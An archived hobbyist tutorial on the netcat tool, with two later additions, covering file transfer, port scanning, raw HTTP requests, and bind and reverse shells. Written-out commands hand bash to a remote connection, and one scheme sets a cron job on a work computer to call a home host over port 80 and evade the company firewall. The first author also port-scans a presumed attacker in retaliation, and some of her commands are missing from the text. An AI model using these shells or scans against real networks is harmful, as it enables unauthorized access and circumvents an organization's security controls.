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(¯`·.¸ The awesome netcat utility ¸.·´¯)
by Angela Zaharia
Originally published at searchlores in October 2001, updated in October 2003

Oldie but goldie... some readers will learn a lot, here, maybe too much. Well, seekers must know how to punish and how to retaliate, at times.
A small addition, by vvf (june 2003)
A big addition, by KIVILCIM Hindistan (October 2003)

The awesome netcat utility

by Angela Zaharia

The usual disclaimers apply. DO try this at home kids, experiment with it as much as you can, but do NOT not hold me responsible for any damage you do. Now with that outta the way...

Netcat is an old skool hacking tool, written last century (in 1996 to be more precise- eons ago in Internet time) by the very talented Hobbit (see http://www.avian.org). He created it to test network connections and find possible holes inside networks and servers.

Netcat has been called the Swiss Army Knife of TCP/IP and with a good reason!

Sure, today there are much more advanced toolz now available, port scanners, SATAN and SAINT, but Netcat has withstood the test of time. It is still quite useful. First, it has a small footprint. Second, it is a command line utility, and can easily be included into scripts and added to a string of commands. Combine it with pipes and it can be deadly.



Netcat was originally written for UNIX, but has been ported to NT/Win9X by Weld Pond of @Stake (formerly L0pfht security research group). You can grab its source code at fravia's or from: http://www.atstake.com/research/tools/network_util ities/, and it can be recompiled with the "gaping_hole_exposed" function which was left out of the NT/Win9X version for some mysterious reason...;-). The *nix version is now part of the Red Hat Power Tools collection and comes standard on SuSE Linux, Debian Linux, NetBSD and OpenBSD distributions. The 1.1 version runs on Win 95/98/NT/2000. Sorry, I dunno 'bout XP and frankly, I don't care.



As mentioned above, Netcat is a deceptively simple NON-GUI (meaning it's a command line)utility which reads and writes data across network connections, using TCP or UDP protocol. Yes, you do need to know a few commands to use it. But don't let that turn you off. I have just began using it so I wanted to share my experiences and see if anybody else can teach me more.

With Netcat, I hook up a network socket/port to one side and a program to the other side of it and I can create all kind of server-ish stuff, from serving or streaming files to putting a counterattack against hackers. Netcat easily functions as both a client and a server, by listening for inbound connections on arbitrary ports and then doing the same reading and writing. It can happily shovel data back and forth until there isn't any more left; it doesn't particularly care about the direction.

A Netcat command has a very easy nc - host - port format. nc is the program itself. host is the domain name or IP address of the machine we are connecting to/from. port of course are the ports you will be using it on. Netcat uses multiple switches too. Some of them are:

Let's dive right into a few very neat tricks you can do with netcat:

file/programs (use your imagination here!) transfers
basic and advanced port scanning
connect to remote TCP/IP ports


Files/programs transfers

One time my ICQ's file transfer function wasn't working, and a friend wanted to send me a drawing he had done. Why not use netcat I thought. My friend doesn't know much DOS ("he hates it" he sez!), but he was willing to give it a try. So I told him where to go and d/l netcat from, and to make sure to install it in his C:\ root dir. Then I asked him to go to a DOS prompt and to type the following command[the bold is what he typed]: Let's go over each part. nc is the netcat program itself. With -l, he told netcat to listen. -p 1234 is the port number 1234 netcat is listening on. < file-name means to grab a file and pass it along to netcat.

[NOTE* for all this to work, you have to have both netcat and the file you want to send in the DOS C:\ root dir. that's not necessary all the time, but it will save you a lotto typing, so make sure to move the files you'd wanna send to C:\ root]

Then on my end, I also opened a DOS prompt and typed:
and received a whole lotto ASCII garbage. Wait a minute, this is not supposed to happen! What did I do wrong?? The answer of-course came to me: I hadn't specified the name of the file or what to do with it! So I told my friend to re-type his command again and then I re-did mine: Let's look at what I typed in detail: nc is the netcat program itself. With -v, I told netcat to gimme back as much info about its activities as possible. (its a good idea to run netcat most of the time with -v switch turned on, so you can see info about the connections it is trying to make; v simply stands for verbose and -vv is for very verbose. my-friend's-IP-address is the numeric address of my friend's PC (I had found his IP number earlier by running a simple netstat -n command on a DOS prompt). 1234 is the port I sent netcat to listen on. > test.jpg meant to save the output from netcat as a file named test.jpg.

And this time I got the file, right in my C:\ root dir. Easy as 1-2-3, as long as I knew what I wuz doing! Next time, I will send a file to him and see if he can grab it. Who knows, he may even end up learning some DOS that way, eh, hehehe...

[NOTE* when using netcat in DOS/Windoze, make sure you specify the 3 letters' file extention type like I did -.jpg]

Basic and Advanced Port scanning

Another thing netcat is perfect for is TCP and UDP port scanning. I get scanned a lot myself, and my ports do get pocked and probed all the time. I ain't lying. I have set up my olde trusty @Guard ver 3.22 firewall to pops up and tell me each time somebody tries anything funny. So when @Guard jumped up and told me I was being fingered on several ports while I was trying to work, I got mad and decided to finger them right back! And netcat is perfect for that!

So I grabbed the IP address of whoever was bugging me from my @Guard (@Guard always records and displays the IP addresses) and fired up a DOS prompt. There I typed: Let's go over what I typed again: nc is the netcat program itself. -vv means to be very verbose, the -z option provides zero mode I/O and is used for port scanning, and the -w2 provides a timeout value for each connection. the above command will scan all ports from 140 to 1 on the my-attacker-IP-address IP address. Aren't I nasty, eh?

Meanwhile, netcat was trying each port and sending info back:

Opps, how silly of me! Of-course all of his ports from 1 to 140 will be closed! I keep on forgetting the simple fact that all ports from 1 to 1024 are "reserved". So I re-did my command again, this time using ports 1045 to 1025: and got much better results this time, hehehe:

One of netcat's most simplistic uses is connecting to a remote TCP/IP port. I decided to try it on my attacker, so I opened a second DOS prompt and started another netcat running:

and got back the following info:

Remember, the -v switch meant that Netcat should return as much info as it can about its activities. 1045 is the port I was fingering/trying to attach to. So now I knew port 1045 was open and maybe even ready to accept input?

Let's try another port first, port 1043 this time:

And netcat informed me the IP address I was trying to scan was invalid! Ho-ho! I guess whoever they were, they decided they had enough and logged off the Internet! isn't that great or whut??


As you can see, netcat has many different uses. I have only began using it, so that's all I can write so far. But I'm eager to learn about more netcat's uses. if anybody has had any experience with it, I'd love to read about it. Of-course, Netcat can be used and combined with hundreds of other utilities, shell scripts, etc. Your imagination is the only limit! I am sure you will be able to come up with hundreds of other uses! Enjoy and spread the knowledge around!



For any corrections, additions, hate mail or love letters, I can be contacted at
angelazaharia[A_T]ziplip[POINT]com
A small addition, by vvf (june 2003) 
The other day I was fooling around with netcat. Except for
AZ's
piece about it, I had never came across it before. I
tried to see what it can do on a linux machine, where it's
bundled with the distro (SuSe).
The first useful thing it can do is scan ports, either
specific ones or ranges.
You have to give it an ip and a port (port range), then,
when it finds an open port, nc gives a message like
xxx.xxx.xxx.xxx 80 (http) open, followed by a cursor.
It's the cursor that bothered me. It is in fact a prompt.
What can you do with an open port 80, usually?
It's the http port, so it should be able to understand
browser commands. I tried a 'GET' and suddenly I had
a return that looked like html (a html error message,
actually).

Sooo, this allows me to talk directly to the http server.
Good.
Let's run a little test: fire up console (for its scroll
and other facilities) + Opera in linux, found the ip
for nonymouse.com, then fed it to netcat like
this:
netcat -v 212.227.109.214 80
where -v is verbose mode and 80 is the port, expected
to be open.
netcat returns an open port and a prompt.

I typed in this: 
GET http://anonymouse.ws/cgi-bin/anon-snoop.cgi 
(this is the checking page of nonymouse, showing
the info your browser reveals). 

What i got back was html code. Cut'n'pasted it in an
editor, saved as html. I now had a plain html page
stating my IP and host correctly, but showing nothing
under "browser".
So, if I'm not wrong, checking for open ports with nmap
should give me open ports and a description of what
the ports are used for, and with this info I could
use netcat to try to talk directly to whatever
server or service is behind that port, assuming
I speak its language.
vvf





A big addition, by KIVILCIM Hindistan (October 2003)


Hello Mr. Fravia,
The first time I came across your site (late 97) I was totally amazed. It was a nice good site with lots of usefull info like the good old discmags.

Today, I was searching for something and came across the name "Fravia" which ringed bells :) I was more than happy to see that, your site was up and hacking the SYSTEM (whatever it may be, the Net, the traditions etc, hacking to bits and pieces, understanding and reconstructing to own needs :)

Anyways, I came across this article about NetCat: (http://searchlores.org/aznetcat.htm) which is a wonderful tool, and by chance I've also written an article about NetCat some eight months back which was published in http://www.oreillynet.com/pub/a/onlamp/2003/05/29/netcat.html.

In the article, I especially stressed out two options which were not in Aznetcat article;
1) cryptcat: which is a two-fish encrypted talking netcat
2) reverse telnet: which is very nice to telnet into boxes beyond firewall

I think, these two facts would be good in addition to that article (or a new one) and I'd be more than happy to contribute to such a good site.

Keep the good work.
Sincerely
 KIVILCIM Hindistan


Netcat and Reverse Telnet
by KIVILCIM Hindistan
05/29/2003

Today we live a virtually secure world of computing, with fancy firewalls, user access lists, intrusion detection schemes, and so on. But occasionally you may just want to copy a file from one computer to another, without breaching security, ringing bells all over the network, or even meddling with cumbersome access lists. You may want to reach your work computer from home, so that you can finish your work, but the guardian firewall would not let you in.

Or you may just want to write your simple network utility to fetch something from somewhere and do something to it, the famous duct-tape method. You don't want to use C++. You don't want to use Perl. You want nothing but the good old glue and fix method.

For all these seemingly difficult tasks there is a wonderful tool called Netcat.

As you'd expect, the name Netcat comes from one of the basic Unix commands cat. cat "concatenates files and prints on standard output", Netcat basically does the same. Instead of concatenating files, Netcat concatenates the TCP and UDP sockets, making it basically a "cat of ports". Just like its ancestors, the fundamental commands of the Unix environment, Netcat does this one thing and does it perfectly. You can glue it to other commands to make it do whatever you want.

This article examines the basic usage of Netcat, including one or two tricks that will make your life easier. What can I use Netcat for?

As a basic point of view, Netcat is a telnet program. But that's like calling the Swiss Army Knife just a knife. Netcat was written in 1996 by a hacker called Hobbit to meet all kinds of telnet needs. Today you can easily find a version of Netcat for your flavor of Unix or even Windows. There are also some variants, such as cryptcat which adds vital encryption features, which we will also use later in this article.

This article sticks to the vanilla Netcat. The examples are prepared with Unix in mind. You can try them on other platforms, but your computer could blowup, your significant other might leave you, and, even worse, you will run out of coffee at once. Well, maybe just the latter. Preparing Network Interfaces

To try Netcat, we must first make some preparations. Throughout this article we will discuss a connection between two machines. For this article you don't need to have two machines, two computers, or even two network interfaces.

For TCP/IP communication, the Unix platform uses a virtual loopback (lo) interface with a default IP of 127.0.0.1. Under Linux, you can use 0 instead of this IP address. We will use this interface to set up two virtual interfaces.

Note that if we interfere with the 127.0.0.1 interface, we may break the network connection. Instead, we will use lo:1 and lo:2 virtual interfaces. The following method will allow you to assign many IP numbers to the same network interface, such as eth0:0 or eth0:1. As root, enter: 
% ifconfig lo:1 10.0.1.1
% ifconfig lo:2 10.0.1.2
Now enter ifconfig to examine your interfaces: 
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:146 errors:0 dropped:0 overruns:0 frame:0
TX packets:146 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7708 (7.5 KiB) TX bytes:7708 (7.5 KiB)
lo:1 Link encap:Local Loopback
inet addr:10.0.1.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
lo:2 Link encap:Local Loopback
inet addr:10.0.1.2 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
Now that we have two network interfaces, we can continue with our examples as if we were working on two separate computers with different IP addresses.
Network Connection:

As I've stated before, Netcat is a telnet client. With the basic usage you can connect to any port with nc host port. When you make a connection this way, everything you type goes to the remote machine (if it's listening to that port) and every response comes back to you. This goes on until the network connection is broken. As for the remote computer, I must remind you that Netcat is both a client and a server.

Now, let's open two consoles. One will be our server, listening to port 5600:
$ nc -l -p 5600
The other will be our client that connects to that port.
$ nc 10.0.1.1 5600
Now everything you do will be repeated at the first console. We have made our first connection. Experiment to your heart's content. Press Enter, Backspace, Ctrl-D, and Ctrl-C and see what happens. Ctrl-C should have cut your connection.

At the first console give the command:
$ nc -l -p 5600 -vv
In the second:
$ nc 10.0.1.1 5600
Did you see anything different?

listening on [any] 5600 ...
10.0.1.1: inverse host lookup failed: Unknown host
connect to [10.0.1.1] from (UNKNOWN) [10.0.1.1] 33354


This time, Netcat was generous with its information. The extra -vv command option put Netcat in verbose mode. If you use one v then you end up with less information. This command is especially valuable when troubleshooting. At the end, when you pressed Ctrl-c, Netcat exited, reporting how many bytes were sent and received.

As in our first example we made connection between two virtual computers without protocol or rights management (as far as the firewalls let us).

File Transfer
One of the most practical usages of this network connection is the file transfer. As a basic Netcat function, this feature may be used to great effect in the hands of an experienced user. For a freshly installed computer, setting up a ftp server or, worse, meddling with rcp or scp protocols may be nauseating. Those commands may not be available for one, and multiple layers of control mechanisms may interfere with their functionality. You can still transfer files with just one nc command.

At the server console:
$ nc -v -w 30 -p 5600 l- > filename.back
and on the client side:
$ nc -v -w 2 10.0.1.1 5600 < filename
Magically, the file named filename is transfered from the client to the server. You can check that they are identical.

The command line uses the new argument -w to cause Netcat to wait for a few seconds. We made that longer in the server side because it is most affected by a pause. Another important point is the > and < redirection commands, with which Unix users are very familiar.

In the server we said > filename.back. Any output will be directed to this file. As it happens, the output is the file filename which is send by the client. Think of this as a pipeline. We take a bucket (file), pour the contents to the pipeline (Netcat's port), and, at the other end we fill another bucket from the pipeline. Telnet

We can now transfer files, but maybe we want to make something more useful. For example, we might want to login to a remote machine and do some work. We want to telnet without the hassle of working through access control mechanisms. The -e option comes in handy.

On the first console, enter:
$ nc -l -p 5600 -e /bin/bash
and at the second console:
$ nc 10.0.1.1. 5600

Now it is as if we are connected to the first machine and typing at the shell. We can see every output of our command and do whatever we want with the server machine. We are connected to it as the root user. This is admittedly very scary and a bit unwise. Security Notice and Cryptcat

Dumping output to a shell is the fastest method of remote control. It opens a port and waits for connection. Whoever connects is welcome, with no security checks. Unlike the following Reverse Telnet this is an active connection; we can call it duck-tape telnet. If you must setup such a thing on an Internet-connected machine use Cryptcat. In fact you can use Cryptcat in every example mentioned here instead of Netcat, because they are almost the same (except that Cryptcat uses encryption and a keyphrase). But all the command notation is the same.

Small notice: I love Open Source! As the author of Cryptcat states:

Linux version -- why I like Linux... only had to change two lines of code to add encryption.

Thus if you want more security (which you should), use cryptcat with the -k option. Cryptcat's encryption scheme has an embedded keyphrase of metallica. You can (and should) change this with the option -k, using your own keyword. After that, you not only have an easy telnet setup, but you also will be very secure.

Reverse Telnet

As we have such a generic tool, capable of many things, we can try something nastier (and thus more useful). Consider a nice computer, with broadband network access, behind some firewall (as all useful computers are) in our office. The firewall will not allow any outside connections, only those queried from inside. This computer seems impossible to reach. To begin with, the computer would not have a real IP that we could just type and reach; it is behind a router and firewall, using their IPs instead.

Now what if we want to log into this computer and use it remotely, perhaps grabbing some files we forgot to bring home to work on tonight? We want all this with minimum security breach. Sounds like a challenge.

As we saw before, telnet worked with one machine waiting for a connection and the other connecting to it and giving commands. Telnet will not do the job here; not only are all ports of the corporate firewall blocked, the machine we want to reach does not even have a legal IP. Our technique should do just the reverse.

We have a server whose only allowed outside connection is port 80 for daily use, but it doesn't have an outside IP address. The other computer at home probably has a real IP and whatever ports you want are open at your request. Reversing the roles would solve our problems: make our computer at work connect to the home computer, taking commands from the client and performing them on the server. It's the reverse of usual telnet, so we call it Reverse Telnet.

First, let's name the machines. The one at work is called WORK and the one at home is called HOME. If we do not have a permanent IP at home (a dialup user usually) we should get a dynamic DNS name. Lots of organizations provide them, most at no charge such as dyndns.org. We do this because in order to connect to home computer we must know its IP (or domain name) beforehand.

At the work computer, we'll set up a cron job to start at 22:01. Just as in the telnet example it connects to myhome.dyndns.org (our dynamic DNS address) and starts bash.

And at home just at 22:00 or so we start:
$ nc -vv -l -p 80
to begin listening on port 80 for incoming connections.
At 22:01, WORK connects to HOME, starts bash and says 'Master!' Bingo. We are connected to WORK (or vice versa), and WORK is ready to operate any command we want.

We can try this at our virtual network (lo:1 and lo:2). To start the client listening for a connection:
$ nc -vv -l -p 80
To make a connection from the server:
$ nc 10.0.1.1 80 -e /bin/bash
It is very simple and efficient, because we only use outgoing port 80, the most widely used port because it is used for web access. No one would block port 80 because everyone needs web access. They can force you to use a local proxy for that, but you can use another port like 21 or 23 which are harder to put behind a proxy. If you have Internet access you should be able to find at least one open port.

Netcat has lots of other uses with which you can experiment through the loopback interface setup. As long as you know the TCP/IP machine and basics of the protocols, there is virtually no limit to what you can do with Netcat. In the future, I will describe some other daily (arcane ;) uses of Netcat, Cryptcat, and maybe their complicated and powerful cousin SoCat. Resources

* Netcat
* Cryptcat: Netcat with cryptography
* SoCat: Netcat on steroids

KIVILCIM Hindistan has been a magazine writer, freelance consultant about Open Source Software & Solaris and a die hard gamer.


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